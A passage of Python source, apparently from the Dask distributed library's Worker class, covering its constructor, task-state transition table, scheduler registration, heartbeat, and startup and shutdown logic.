memory_limit: int, float, string Number of bytes of memory that this worker should use. Set to zero for no limit. Set to 'auto' to calculate as system.MEMORY_LIMIT * min(1, nthreads / total_cores) Use strings or numbers like 5GB or 5e9 memory_target_fraction: float or False Fraction of memory to try to stay beneath (default: read from config key distributed.worker.memory.target) memory_spill_fraction: float or false Fraction of memory at which we start spilling to disk (default: read from config key distributed.worker.memory.spill) memory_pause_fraction: float or False Fraction of memory at which we stop running new tasks (default: read from config key distributed.worker.memory.pause) max_spill: int, string or False Limit of number of bytes to be spilled on disk. (default: read from config key distributed.worker.memory.max-spill) executor: concurrent.futures.Executor, dict[str, concurrent.futures.Executor], "offload" The executor(s) to use. Depending on the type, it has the following meanings: - Executor instance: The default executor. - Dict[str, Executor]: mapping names to Executor instances. If the "default" key isn't in the dict, a "default" executor will be created using ``ThreadPoolExecutor(nthreads)``. - Str: The string "offload", which refer to the same thread pool used for offloading communications. This results in the same thread being used for deserialization and computation. resources: dict Resources that this worker has like ``{'GPU': 2}`` nanny: str Address on which to contact nanny, if it exists lifetime: str Amount of time like "1 hour" after which we gracefully shut down the worker. This defaults to None, meaning no explicit shutdown time. lifetime_stagger: str Amount of time like "5 minutes" to stagger the lifetime value The actual lifetime will be selected uniformly at random between lifetime +/- lifetime_stagger lifetime_restart: bool Whether or not to restart a worker after it has reached its lifetime Default False kwargs: optional Additional parameters to ServerNode constructor Examples -------- Use the command line to start a worker:: $ dask-scheduler Start scheduler at 127.0.0.1:8786 $ dask-worker 127.0.0.1:8786 Start worker at: 127.0.0.1:1234 Registered with scheduler at: 127.0.0.1:8786 See Also -------- distributed.scheduler.Scheduler distributed.nanny.Nanny """ _instances: ClassVar[weakref.WeakSet[Worker]] = weakref.WeakSet() _initialized_clients: ClassVar[weakref.WeakSet[Client]] = weakref.WeakSet() tasks: dict[str, TaskState] waiting_for_data_count: int has_what: defaultdict[str, set[str]] # {worker address: {ts.key, ...} pending_data_per_worker: defaultdict[str, UniqueTaskHeap] nanny: Nanny | None _lock: threading.Lock data_needed: UniqueTaskHeap in_flight_workers: dict[str, set[str]] # {worker address: {ts.key, ...}} total_out_connections: int total_in_connections: int comm_threshold_bytes: int comm_nbytes: int _missing_dep_flight: set[TaskState] threads: dict[str, int] # {ts.key: thread ID} active_threads_lock: threading.Lock active_threads: dict[int, str] # {thread ID: ts.key} active_keys: set[str] profile_keys: defaultdict[str, dict[str, Any]] profile_keys_history: deque[tuple[float, dict[str, dict[str, Any]]]] profile_recent: dict[str, Any] profile_history: deque[tuple[float, dict[str, Any]]] generation: int ready: list[tuple[tuple[int, ...], str]] # heapq [(priority, key), ...] constrained: deque[str] _executing: set[TaskState] _in_flight_tasks: set[TaskState] executed_count: int long_running: set[str] log: deque[tuple] # [(..., stimulus_id: str | None, timestamp: float), ...] incoming_transfer_log: deque[dict[str, Any]] outgoing_transfer_log: deque[dict[str, Any]] target_message_size: int validate: bool _transitions_table: dict[tuple[str, str], Callable] _transition_counter: int incoming_count: int outgoing_count: int outgoing_current_count: int repetitively_busy: int bandwidth: float latency: float profile_cycle_interval: float workspace: WorkSpace _workdir: WorkDir local_directory: str _client: Client | None bandwidth_workers: defaultdict[str, tuple[float, int]] bandwidth_types: defaultdict[type, tuple[float, int]] preloads: list[preloading.Preload] contact_address: str | None _start_port: int | None _start_host: str | None _interface: str | None _protocol: str _dashboard_address: str | None _dashboard: bool _http_prefix: str nthreads: int total_resources: dict[str, float] available_resources: dict[str, float] death_timeout: float | None lifetime: float | None lifetime_stagger: float | None lifetime_restart: bool extensions: dict security: Security connection_args: dict[str, Any] memory_limit: int | None memory_target_fraction: float | Literal[False] memory_spill_fraction: float | Literal[False] memory_pause_fraction: float | Literal[False] max_spill: int | Literal[False] data: MutableMapping[str, Any] # {task key: task payload} actors: dict[str, Actor | None] loop: IOLoop reconnect: bool executors: dict[str, Executor] batched_stream: BatchedSend name: Any scheduler_delay: float stream_comms: dict[str, BatchedSend] heartbeat_interval: float heartbeat_active: bool _ipython_kernel: Any | None = None services: dict[str, Any] = {} service_specs: dict[str, Any] metrics: dict[str, Callable[[Worker], Any]] startup_information: dict[str, Callable[[Worker], Any]] low_level_profiler: bool scheduler: Any execution_state: dict[str, Any] memory_monitor_interval: float | None _memory_monitoring: bool _throttled_gc: ThrottledGC plugins: dict[str, WorkerPlugin] _pending_plugins: tuple[WorkerPlugin, ...] def __init__( self, scheduler_ip: str | None = None, scheduler_port: int | None = None, *, scheduler_file: str | None = None, nthreads: int | None = None, loop: IOLoop | None = None, local_dir: None = None, # Deprecated, use local_directory instead local_directory: str | None = None, services: dict | None = None, name: Any | None = None, reconnect: bool = True, memory_limit: str | float = "auto", executor: Executor | dict[str, Executor] | Literal["offload"] | None = None, resources: dict[str, float] | None = None, silence_logs: int | None = None, death_timeout: Any | None = None, preload: list[str] | None = None, preload_argv: list[str] | list[list[str]] | None = None, security: Security | dict[str, Any] | None = None, contact_address: str | None = None, heartbeat_interval: Any = "1s", memory_monitor_interval: Any = "200ms", memory_target_fraction: float | Literal[False] | None = None, memory_spill_fraction: float | Literal[False] | None = None, memory_pause_fraction: float | Literal[False] | None = None, max_spill: float | str | Literal[False] | None = None, extensions: list[type] | None = None, metrics: Mapping[str, Callable[[Worker], Any]] = DEFAULT_METRICS, startup_information: Mapping[ str, Callable[[Worker], Any] ] = DEFAULT_STARTUP_INFORMATION, data: ( MutableMapping[str, Any] # pre-initialised | Callable[[], MutableMapping[str, Any]] # constructor | tuple[ Callable[..., MutableMapping[str, Any]], dict[str, Any] ] # (constructor, kwargs to constructor) | None # create internatlly ) = None, interface: str | None = None, host: str | None = None, port: int | None = None, protocol: str | None = None, dashboard_address: str | None = None, dashboard: bool = False, http_prefix: str = "/", nanny: Nanny | None = None, plugins: tuple[WorkerPlugin, ...] = (), low_level_profiler: bool | None = None, validate: bool | None = None, profile_cycle_interval=None, lifetime: Any | None = None, lifetime_stagger: Any | None = None, lifetime_restart: bool | None = None, **kwargs, ): self.tasks = {} self.waiting_for_data_count = 0 self.has_what = defaultdict(set) self.pending_data_per_worker = defaultdict(UniqueTaskHeap) self.nanny = nanny self._lock = threading.Lock() self.data_needed = UniqueTaskHeap() self.in_flight_workers = {} self.total_out_connections = dask.config.get( "distributed.worker.connections.outgoing" ) self.total_in_connections = dask.config.get( "distributed.worker.connections.incoming" ) self.comm_threshold_bytes = int(10e6) self.comm_nbytes = 0 self._missing_dep_flight = set() self.threads = {} self.active_threads_lock = threading.Lock() self.active_threads = {} self.active_keys = set() self.profile_keys = defaultdict(profile.create) self.profile_keys_history = deque(maxlen=3600) self.profile_recent = profile.create() self.profile_history = deque(maxlen=3600) self.generation = 0 self.ready = [] self.constrained = deque() self._executing = set() self._in_flight_tasks = set() self.executed_count = 0 self.long_running = set() self.target_message_size = int(50e6) # 50 MB self.log = deque(maxlen=100000) if validate is None: validate = dask.config.get("distributed.scheduler.validate") self.validate = validate self._transitions_table = { ("cancelled", "resumed"): self.transition_cancelled_resumed, ("cancelled", "fetch"): self.transition_cancelled_fetch, ("cancelled", "released"): self.transition_cancelled_released, ("cancelled", "waiting"): self.transition_cancelled_waiting, ("cancelled", "forgotten"): self.transition_cancelled_forgotten, ("cancelled", "memory"): self.transition_cancelled_memory, ("cancelled", "error"): self.transition_cancelled_error, ("resumed", "memory"): self.transition_generic_memory, ("resumed", "error"): self.transition_generic_error, ("resumed", "released"): self.transition_generic_released, ("resumed", "waiting"): self.transition_resumed_waiting, ("resumed", "fetch"): self.transition_resumed_fetch, ("resumed", "missing"): self.transition_resumed_missing, ("constrained", "executing"): self.transition_constrained_executing, ("constrained", "released"): self.transition_generic_released, ("error", "released"): self.transition_generic_released, ("executing", "error"): self.transition_executing_error, ("executing", "long-running"): self.transition_executing_long_running, ("executing", "memory"): self.transition_executing_memory, ("executing", "released"): self.transition_executing_released, ("executing", "rescheduled"): self.transition_executing_rescheduled, ("fetch", "flight"): self.transition_fetch_flight, ("fetch", "released"): self.transition_generic_released, ("flight", "error"): self.transition_flight_error, ("flight", "fetch"): self.transition_flight_fetch, ("flight", "memory"): self.transition_flight_memory, ("flight", "missing"): self.transition_flight_missing, ("flight", "released"): self.transition_flight_released, ("long-running", "error"): self.transition_generic_error, ("long-running", "memory"): self.transition_long_running_memory, ("long-running", "rescheduled"): self.transition_executing_rescheduled, ("long-running", "released"): self.transition_executing_released, ("memory", "released"): self.transition_memory_released, ("missing", "fetch"): self.transition_missing_fetch, ("missing", "released"): self.transition_missing_released, ("missing", "error"): self.transition_generic_error, ("ready", "error"): self.transition_generic_error, ("ready", "executing"): self.transition_ready_executing, ("ready", "released"): self.transition_generic_released, ("released", "error"): self.transition_generic_error, ("released", "fetch"): self.transition_released_fetch, ("released", "forgotten"): self.transition_released_forgotten, ("released", "memory"): self.transition_released_memory, ("released", "waiting"): self.transition_released_waiting, ("waiting", "constrained"): self.transition_waiting_constrained, ("waiting", "ready"): self.transition_waiting_ready, ("waiting", "released"): self.transition_generic_released, } self._transition_counter = 0 self.incoming_transfer_log = deque(maxlen=100000) self.incoming_count = 0 self.outgoing_transfer_log = deque(maxlen=100000) self.outgoing_count = 0 self.outgoing_current_count = 0 self.repetitively_busy = 0 self.bandwidth = parse_bytes(dask.config.get("distributed.scheduler.bandwidth")) self.bandwidth_workers = defaultdict( lambda: (0, 0) ) # bw/count recent transfers self.bandwidth_types = defaultdict(lambda: (0, 0)) # bw/count recent transfers self.latency = 0.001 self._client = None if profile_cycle_interval is None: profile_cycle_interval = dask.config.get("distributed.worker.profile.cycle") profile_cycle_interval = parse_timedelta(profile_cycle_interval, default="ms") assert profile_cycle_interval self._setup_logging(logger) if local_dir is not None: warnings.warn("The local_dir keyword has moved to local_directory") local_directory = local_dir if not local_directory: local_directory = dask.config.get("temporary-directory") or os.getcwd() os.makedirs(local_directory, exist_ok=True) local_directory = os.path.join(local_directory, "dask-worker-space") with warn_on_duration( "1s", "Creating scratch directories is taking a surprisingly long time. " "This is often due to running workers on a network file system. " "Consider specifying a local-directory to point workers to write " "scratch data to a local disk.", ): self._workspace = WorkSpace(os.path.abspath(local_directory)) self._workdir = self._workspace.new_work_dir(prefix="worker-") self.local_directory = self._workdir.dir_path if not preload: preload = dask.config.get("distributed.worker.preload") if not preload_argv: preload_argv = dask.config.get("distributed.worker.preload-argv") assert preload is not None assert preload_argv is not None self.preloads = preloading.process_preloads( self, preload, preload_argv, file_dir=self.local_directory ) if scheduler_file: cfg = json_load_robust(scheduler_file) scheduler_addr = cfg["address"] elif scheduler_ip is None and dask.config.get("scheduler-address", None): scheduler_addr = dask.config.get("scheduler-address") elif scheduler_port is None: scheduler_addr = coerce_to_address(scheduler_ip) else: scheduler_addr = coerce_to_address((scheduler_ip, scheduler_port)) self.contact_address = contact_address if protocol is None: protocol_address = scheduler_addr.split("://") if len(protocol_address) == 2: protocol = protocol_address[0] assert protocol self._start_port = port self._start_host = host if host: # Helpful error message if IPv6 specified incorrectly _, host_address = parse_address(host) if host_address.count(":") > 1 and not host_address.startswith("["): raise ValueError( "Host address with IPv6 must be bracketed like '[::1]'; " f"got {host_address}" ) self._interface = interface self._protocol = protocol self.nthreads = nthreads or CPU_COUNT if resources is None: resources = dask.config.get("distributed.worker.resources", None) assert isinstance(resources, dict) self.total_resources = resources or {} self.available_resources = (resources or {}).copy() self.death_timeout = parse_timedelta(death_timeout) self.extensions = {} if silence_logs: silence_logging(level=silence_logs) if isinstance(security, dict): security = Security(**security) self.security = security or Security() assert isinstance(self.security, Security) self.connection_args = self.security.get_connection_args("worker") self.memory_limit = parse_memory_limit(memory_limit, self.nthreads) self.memory_target_fraction = ( memory_target_fraction if memory_target_fraction is not None else dask.config.get("distributed.worker.memory.target") ) self.memory_spill_fraction = ( memory_spill_fraction if memory_spill_fraction is not None else dask.config.get("distributed.worker.memory.spill") ) self.memory_pause_fraction = ( memory_pause_fraction if memory_pause_fraction is not None else dask.config.get("distributed.worker.memory.pause") ) if max_spill is None: max_spill = dask.config.get("distributed.worker.memory.max-spill") self.max_spill = False if max_spill is False else parse_bytes(max_spill) if isinstance(data, MutableMapping): self.data = data elif callable(data): self.data = data() elif isinstance(data, tuple): self.data = data[0](**data[1]) elif self.memory_limit and ( self.memory_target_fraction or self.memory_spill_fraction ): from .spill import SpillBuffer if self.memory_target_fraction: target = int( self.memory_limit * (self.memory_target_fraction or self.memory_spill_fraction) ) else: target = sys.maxsize self.data = SpillBuffer( os.path.join(self.local_directory, "storage"), target=target, max_spill=self.max_spill, ) else: self.data = {} self.actors = {} self.loop = loop or IOLoop.current() self.reconnect = reconnect # Common executors always available self.executors = { "offload": utils._offload_executor, "actor": ThreadPoolExecutor(1, thread_name_prefix="Dask-Actor-Threads"), } if nvml.device_get_count() > 0: self.executors["gpu"] = ThreadPoolExecutor( 1, thread_name_prefix="Dask-GPU-Threads" ) # Find the default executor if executor == "offload": self.executors["default"] = self.executors["offload"] elif isinstance(executor, dict): self.executors.update(executor) elif executor is not None: self.executors["default"] = executor if "default" not in self.executors: self.executors["default"] = ThreadPoolExecutor( self.nthreads, thread_name_prefix="Dask-Default-Threads" ) self.batched_stream = BatchedSend(interval="2ms", loop=self.loop) self.name = name self.scheduler_delay = 0 self.stream_comms = {} self.heartbeat_active = False self._ipython_kernel = None if self.local_directory not in sys.path: sys.path.insert(0, self.local_directory) self.services = {} self.service_specs = services or {} self._dashboard_address = dashboard_address self._dashboard = dashboard self._http_prefix = http_prefix self.metrics = dict(metrics) if metrics else {} self.startup_information = ( dict(startup_information) if startup_information else {} ) if low_level_profiler is None: low_level_profiler = dask.config.get("distributed.worker.profile.low-level") self.low_level_profiler = low_level_profiler handlers = { "gather": self.gather, "run": self.run, "run_coroutine": self.run_coroutine, "get_data": self.get_data, "update_data": self.update_data, "free_keys": self.handle_free_keys, "terminate": self.close, "ping": pingpong, "upload_file": self.upload_file, "start_ipython": self.start_ipython, "call_stack": self.get_call_stack, "profile": self.get_profile, "profile_metadata": self.get_profile_metadata, "get_logs": self.get_logs, "keys": self.keys, "versions": self.versions, "actor_execute": self.actor_execute, "actor_attribute": self.actor_attribute, "plugin-add": self.plugin_add, "plugin-remove": self.plugin_remove, "get_monitor_info": self.get_monitor_info, } stream_handlers = { "close": self.close, "cancel-compute": self.handle_cancel_compute, "acquire-replicas": self.handle_acquire_replicas, "compute-task": self.handle_compute_task, "free-keys": self.handle_free_keys, "remove-replicas": self.handle_remove_replicas, "steal-request": self.handle_steal_request, "worker-status-change": self.handle_worker_status_change, } super().__init__( handlers=handlers, stream_handlers=stream_handlers, io_loop=self.loop, connection_args=self.connection_args, **kwargs, ) self.scheduler = self.rpc(scheduler_addr) self.execution_state = { "scheduler": self.scheduler.address, "ioloop": self.loop, "worker": self, } self.heartbeat_interval = parse_timedelta(heartbeat_interval, default="ms") pc = PeriodicCallback(self.heartbeat, self.heartbeat_interval * 1000) self.periodic_callbacks["heartbeat"] = pc pc = PeriodicCallback( lambda: self.batched_stream.send({"op": "keep-alive"}), 60000 ) self.periodic_callbacks["keep-alive"] = pc # FIXME annotations: https://github.com/tornadoweb/tornado/issues/3117 pc = PeriodicCallback(self.find_missing, 1000) # type: ignore self.periodic_callbacks["find-missing"] = pc self._address = contact_address self.memory_monitor_interval = parse_timedelta( memory_monitor_interval, default="ms" ) self._memory_monitoring = False if self.memory_limit: assert self.memory_monitor_interval is not None pc = PeriodicCallback( self.memory_monitor, # type: ignore self.memory_monitor_interval * 1000, ) self.periodic_callbacks["memory"] = pc if extensions is None: extensions = DEFAULT_EXTENSIONS for ext in extensions: ext(self) self._throttled_gc = ThrottledGC(logger=logger) setproctitle("dask-worker [not started]") profile_trigger_interval = parse_timedelta( dask.config.get("distributed.worker.profile.interval"), default="ms" ) pc = PeriodicCallback(self.trigger_profile, profile_trigger_interval * 1000) self.periodic_callbacks["profile"] = pc pc = PeriodicCallback(self.cycle_profile, profile_cycle_interval * 1000) self.periodic_callbacks["profile-cycle"] = pc self.plugins = {} self._pending_plugins = plugins if lifetime is None: lifetime = dask.config.get("distributed.worker.lifetime.duration") self.lifetime = parse_timedelta(lifetime) if lifetime_stagger is None: lifetime_stagger = dask.config.get("distributed.worker.lifetime.stagger") lifetime_stagger = parse_timedelta(lifetime_stagger) if lifetime_restart is None: lifetime_restart = dask.config.get("distributed.worker.lifetime.restart") self.lifetime_restart = lifetime_restart if self.lifetime: self.lifetime += (random.random() * 2 - 1) * lifetime_stagger self.io_loop.call_later(self.lifetime, self.close_gracefully) Worker._instances.add(self) ################## # Administrative # ################## def __repr__(self): name = f", name: {self.name}" if self.name != self.address else "" return ( f"<{self.__class__.__name__} {self.address!r}{name}, " f"status: {self.status.name}, " f"stored: {len(self.data)}, " f"running: {self.executing_count}/{self.nthreads}, " f"ready: {len(self.ready)}, " f"comm: {self.in_flight_tasks}, " f"waiting: {self.waiting_for_data_count}>" ) @property def logs(self): return self._deque_handler.deque def log_event(self, topic, msg): self.batched_stream.send( { "op": "log-event", "topic": topic, "msg": msg, } ) @property def executing_count(self) -> int: return len(self._executing) @property def in_flight_tasks(self) -> int: return len(self._in_flight_tasks) @property def worker_address(self): """For API compatibility with Nanny""" return self.address @property def local_dir(self): """For API compatibility with Nanny""" warnings.warn( "The local_dir attribute has moved to local_directory", stacklevel=2 ) return self.local_directory @property def executor(self): return self.executors["default"] @ServerNode.status.setter # type: ignore def status(self, value): """Override Server.status to notify the Scheduler of status changes""" ServerNode.status.__set__(self, value) self._send_worker_status_change() def _send_worker_status_change(self) -> None: if ( self.batched_stream and self.batched_stream.comm and not self.batched_stream.comm.closed() ): self.batched_stream.send( {"op": "worker-status-change", "status": self._status.name} ) elif self._status != Status.closed: self.loop.call_later(0.05, self._send_worker_status_change) async def get_metrics(self) -> dict: try: spilled_memory, spilled_disk = self.data.spilled_total # type: ignore except AttributeError: # spilling is disabled spilled_memory, spilled_disk = 0, 0 out = dict( executing=self.executing_count, in_memory=len(self.data), ready=len(self.ready), in_flight=self.in_flight_tasks, bandwidth={ "total": self.bandwidth, "workers": dict(self.bandwidth_workers), "types": keymap(typename, self.bandwidth_types), }, spilled_nbytes={ "memory": spilled_memory, "disk": spilled_disk, }, ) out.update(self.monitor.recent()) for k, metric in self.metrics.items(): try: result = metric(self) if isawaitable(result): result = await result # In case of collision, prefer core metrics out.setdefault(k, result) except Exception: # TODO: log error once pass return out async def get_startup_information(self): result = {} for k, f in self.startup_information.items(): try: v = f(self) if isawaitable(v): v = await v result[k] = v except Exception: # TODO: log error once pass return result def identity(self): return { "type": type(self).__name__, "id": self.id, "scheduler": self.scheduler.address, "nthreads": self.nthreads, "memory_limit": self.memory_limit, } def _to_dict( self, comm: Comm | None = None, *, exclude: Container[str] = () ) -> dict: """Dictionary representation for debugging purposes. Not type stable and not intended for roundtrips. See also -------- Worker.identity Client.dump_cluster_state distributed.utils.recursive_to_dict """ info = super()._to_dict(exclude=exclude) extra = { "status": self.status, "ready": self.ready, "constrained": self.constrained, "data_needed": list(self.data_needed), "pending_data_per_worker": { w: list(v) for w, v in self.pending_data_per_worker.items() }, "long_running": self.long_running, "executing_count": self.executing_count, "in_flight_tasks": self.in_flight_tasks, "in_flight_workers": self.in_flight_workers, "log": self.log, "tasks": self.tasks, "memory_limit": self.memory_limit, "memory_target_fraction": self.memory_target_fraction, "memory_spill_fraction": self.memory_spill_fraction, "memory_pause_fraction": self.memory_pause_fraction, "logs": self.get_logs(), "config": dask.config.config, "incoming_transfer_log": self.incoming_transfer_log, "outgoing_transfer_log": self.outgoing_transfer_log, } info.update(extra) info = {k: v for k, v in info.items() if k not in exclude} return recursive_to_dict(info, exclude=exclude) ##################### # External Services # ##################### async def _register_with_scheduler(self): self.periodic_callbacks["keep-alive"].stop() self.periodic_callbacks["heartbeat"].stop() start = time() if self.contact_address is None: self.contact_address = self.address logger.info("-" * 49) while True: try: _start = time() comm = await connect(self.scheduler.address, **self.connection_args) comm.name = "Worker->Scheduler" comm._server = weakref.ref(self) await comm.write( dict( op="register-worker", reply=False, address=self.contact_address, status=self.status.name, keys=list(self.data), nthreads=self.nthreads, name=self.name, nbytes={ ts.key: ts.get_nbytes() for ts in self.tasks.values() # Only if the task is in memory this is a sensible # result since otherwise it simply submits the # default value if ts.state == "memory" }, types={k: typename(v) for k, v in self.data.items()}, now=time(), resources=self.total_resources, memory_limit=self.memory_limit, local_directory=self.local_directory, services=self.service_ports, nanny=self.nanny, pid=os.getpid(), versions=get_versions(), metrics=await self.get_metrics(), extra=await self.get_startup_information(), ), serializers=["msgpack"], ) future = comm.read(deserializers=["msgpack"]) response = await future if response.get("warning"): logger.warning(response["warning"]) _end = time() middle = (_start + _end) / 2 self._update_latency(_end - start) self.scheduler_delay = response["time"] - middle self.status = Status.running break except OSError: logger.info("Waiting to connect to: %26s", self.scheduler.address) await asyncio.sleep(0.1) except TimeoutError: # pragma: no cover logger.info("Timed out when connecting to scheduler") if response["status"] != "OK": raise ValueError(f"Unexpected response from register: {response!r}") else: await asyncio.gather( *( self.plugin_add(name=name, plugin=plugin) for name, plugin in response["worker-plugins"].items() ) ) logger.info(" Registered to: %26s", self.scheduler.address) logger.info("-" * 49) self.batched_stream.start(comm) self.periodic_callbacks["keep-alive"].start() self.periodic_callbacks["heartbeat"].start() self.loop.add_callback(self.handle_scheduler, comm) def _update_latency(self, latency): self.latency = latency * 0.05 + self.latency * 0.95 if self.digests is not None: self.digests["latency"].add(latency) async def heartbeat(self): if self.heartbeat_active: logger.debug("Heartbeat skipped: channel busy") return self.heartbeat_active = True logger.debug("Heartbeat: %s", self.address) try: start = time() response = await retry_operation( self.scheduler.heartbeat_worker, address=self.contact_address, now=start, metrics=await self.get_metrics(), executing={ key: start - self.tasks[key].start_time for key in self.active_keys if key in self.tasks }, ) end = time() middle = (start + end) / 2 self._update_latency(end - start) if response["status"] == "missing": # If running, wait up to 0.5s and then re-register self. # Otherwise just exit. start = time() while self.status in Status.ANY_RUNNING and time() < start + 0.5: await asyncio.sleep(0.01) if self.status in Status.ANY_RUNNING: await self._register_with_scheduler() return self.scheduler_delay = response["time"] - middle self.periodic_callbacks["heartbeat"].callback_time = ( response["heartbeat-interval"] * 1000 ) self.bandwidth_workers.clear() self.bandwidth_types.clear() except CommClosedError: logger.warning("Heartbeat to scheduler failed", exc_info=True) if not self.reconnect: await self.close(report=False) except OSError as e: # Scheduler is gone. Respect distributed.comm.timeouts.connect if "Timed out trying to connect" in str(e): await self.close(report=False) else: raise e finally: self.heartbeat_active = False async def handle_scheduler(self, comm): try: await self.handle_stream( comm, every_cycle=[self.ensure_communicating, self.ensure_computing] ) except Exception as e: logger.exception(e) raise finally: if self.reconnect and self.status in Status.ANY_RUNNING: logger.info("Connection to scheduler broken. Reconnecting...") self.loop.add_callback(self.heartbeat) else: await self.close(report=False) def start_ipython(self, comm): """Start an IPython kernel Returns Jupyter connection info dictionary. """ from ._ipython_utils import start_ipython if self._ipython_kernel is None: self._ipython_kernel = start_ipython( ip=self.ip, ns={"worker": self}, log=logger ) return self._ipython_kernel.get_connection_info() async def upload_file(self, comm, filename=None, data=None, load=True): out_filename = os.path.join(self.local_directory, filename) def func(data): if isinstance(data, str): data = data.encode() with open(out_filename, "wb") as f: f.write(data) f.flush() return data if len(data) < 10000: data = func(data) else: data = await offload(func, data) if load: try: import_file(out_filename) cache_loads.data.clear() except Exception as e: logger.exception(e) raise e return {"status": "OK", "nbytes": len(data)} def keys(self) -> list[str]: return list(self.data) async def gather(self, who_has: dict[str, list[str]]) -> dict[str, Any]: who_has = { k: [coerce_to_address(addr) for addr in v] for k, v in who_has.items() if k not in self.data } result, missing_keys, missing_workers = await gather_from_workers( who_has, rpc=self.rpc, who=self.address ) self.update_data(data=result, report=False) if missing_keys: logger.warning( "Could not find data: %s on workers: %s (who_has: %s)", missing_keys, missing_workers, who_has, ) return {"status": "partial-fail", "keys": missing_keys} else: return {"status": "OK"} def get_monitor_info( self, recent: bool = False, start: float = 0 ) -> dict[str, Any]: result = dict( range_query=( self.monitor.recent() if recent else self.monitor.range_query(start=start) ), count=self.monitor.count, last_time=self.monitor.last_time, ) if nvml.device_get_count() > 0: result["gpu_name"] = self.monitor.gpu_name result["gpu_memory_total"] = self.monitor.gpu_memory_total return result ############# # Lifecycle # ############# async def start(self): if self.status and self.status in ( Status.closed, Status.closing, Status.closing_gracefully, ): return assert self.status is Status.undefined, self.status await super().start() enable_gc_diagnosis() ports = parse_ports(self._start_port) for port in ports: start_address = address_from_user_args( host=self._start_host, port=port, interface=self._interface, protocol=self._protocol, security=self.security, ) kwargs = self.security.get_listen_args("worker") if self._protocol in ("tcp", "tls"): kwargs = kwargs.copy() kwargs["default_host"] = get_ip( get_address_host(self.scheduler.address) ) try: await self.listen(start_address, **kwargs) except OSError as e: if len(ports) > 1 and e.errno == errno.EADDRINUSE: continue else: raise else: self._start_address = start_address break else: raise ValueError( f"Could not start Worker on host {self._start_host}" f"with port {self._start_port}" ) # Start HTTP server associated with this Worker node routes = get_handlers( server=self, modules=dask.config.get("distributed.worker.http.routes"), prefix=self._http_prefix, ) self.start_http_server(routes, self._dashboard_address) if self._dashboard: try: import distributed.dashboard.worker except ImportError: logger.debug("To start diagnostics web server please install Bokeh") else: distributed.dashboard.worker.connect( self.http_application, self.http_server, self, prefix=self._http_prefix, ) self.ip = get_address_host(self.address) if self.name is None: self.name = self.address for preload in self.preloads: await preload.start() # Services listen on all addresses # Note Nanny is not a "real" service, just some metadata # passed in service_ports... self.start_services(self.ip) try: listening_address = "%s%s:%d" % (self.listener.prefix, self.ip, self.port) except Exception: listening_address = f"{self.listener.prefix}{self.ip}" logger.info(" Start worker at: %26s", self.address) logger.info(" Listening to: %26s", listening_address) for k, v in self.service_ports.items(): logger.info(" {:>16} at: {:>26}".format(k, self.ip + ":" + str(v))) logger.info("Waiting to connect to: %26s", self.scheduler.address) logger.info("-" * 49) logger.info(" Threads: %26d", self.nthreads) if self.memory_limit: logger.info(" Memory: %26s", format_bytes(self.memory_limit)) logger.info(" Local Directory: %26s", self.local_directory) setproctitle("dask-worker [%s]" % self.address) plugins_msgs = await asyncio.gather( *( self.plugin_add(plugin=plugin, catch_errors=False) for plugin in self._pending_plugins ), return_exceptions=True, ) plugins_exceptions = [msg for msg in plugins_msgs if isinstance(msg, Exception)] if len(plugins_exceptions) >= 1: if len(plugins_exceptions) > 1: logger.error( "Multiple plugin exceptions raised. All exceptions will be logged, the first is raised." ) for exc in plugins_exceptions: logger.error(repr(exc)) raise plugins_exceptions[0] self._pending_plugins = () await self._register_with_scheduler() self.start_periodic_callbacks() return self def _close(self, *args, **kwargs): warnings.warn("Worker._close has moved to Worker.close", stacklevel=2) return self.close(*args, **kwargs) async def close( self, report=True, timeout=30, nanny=True, executor_wait=True, safe=False ): with log_errors(): if self.status in (Status.closed, Status.closing): await self.finished() return self.reconnect = False disable_gc_diagnosis() try: logger.info("Stopping worker at %s", self.address) except ValueError: # address not available if already closed logger.info("Stopping worker") if self.status not in Status.ANY_RUNNING: logger.info("Closed worker has not yet started: %s", self.status) self.status = Status.closing for preload in self.preloads: await preload.teardown() if nanny and self.nanny: with self.rpc(self.nanny) as r: await r.close_gracefully() setproctitle("dask-worker [closing]") teardowns = [ plugin.teardown(self) for plugin in self.plugins.values() if hasattr(plugin, "teardown") ] await asyncio.gather(*(td for td in teardowns if isawaitable(td))) for pc in self.periodic_callbacks.values(): pc.stop() if self._client: # If this worker is the last one alive, clean up the worker # initialized clients if not any( w for w in Worker._instances if w != self and w.status in Status.ANY_RUNNING ): for c in Worker._initialized_clients: # Regardless of what the client was initialized with # we'll require the result as a future. This is # necessary since the heursitics of asynchronous are not # reliable and we might deadlock here c._asynchronous = True if c.asynchronous: await c.close() else: # There is still the chance that even with us # telling the client to be async, itself will decide # otherwise c.close() with suppress(EnvironmentError, TimeoutError): if report and self.contact_address is not None: await asyncio.wait_for( self.scheduler.unregister( address=self.contact_address, safe=safe ), timeout, ) await self.scheduler.close_rpc() self._workdir.release() self.stop_services() # Give some time for a UCX scheduler to complete closing endpoints # before closing self.batched_stream, otherwise the local endpoint # may be closed too early and errors be raised on the scheduler when # trying to send closing message. if self._protocol == "ucx": # pragma: no cover await asyncio.sleep(0.2) if ( self.batched_stream and self.batched_stream.comm and not self.batched_stream.comm.closed() ): self.batched_stream.send({"op": "close-stream"}) if self.batched_stream: with suppress(TimeoutError): await self.batched_stream.close(timedelta(seconds=timeout)) for executor in self.executors.values(): if executor is utils._offload_executor: continue # Never shutdown the offload executor def _close(): if isinstance(executor, ThreadPoolExecutor): executor._work_queue.queue.clear() executor.shutdown(wait=executor_wait, timeout=timeout) else: executor.shutdown(wait=executor_wait) # Waiting for the shutdown can block the event loop causing # weird deadlocks particularly if the task that is executing in # the thread is waiting for a server reply, e.g. when using # worker clients, semaphores, etc. await to_thread(_close) self.stop() await self.rpc.close() self.status = Status.closed await super().close() setproctitle("dask-worker [closed]") return "OK" async def close_gracefully(self, restart=None): """Gracefully shut down a worker This first informs the scheduler that we're shutting down, and asks it to move our data elsewhere. Afterwards, we close as normal """ if self.status in (Status.closing, Status.closing_gracefully): await self.finished() if self.status == Status.closed: return if restart is None: restart = self.lifetime_restart logger.info("Closing worker gracefully: %s", self.address) # Wait for all tasks to leave the worker and don't accept any new ones. # Scheduler.retire_workers will set the status to closing_gracefully and push it # back to this worker. await self.scheduler.retire_workers( workers=[self.address], close_workers=False, remove=False ) await self.close(safe=True, nanny=not restart) async def terminate(self, report: bool = True, **kwargs) -> str: await self.close(report=report, **kwargs) return "OK" async def wait_until_closed(self): warnings.warn("wait_until_closed has moved to finished()") await self.finished() assert self.status == Status.closed ################ # Worker Peers # ################ def send_to_worker(self, address, msg): if address not in self.stream_comms: bcomm = 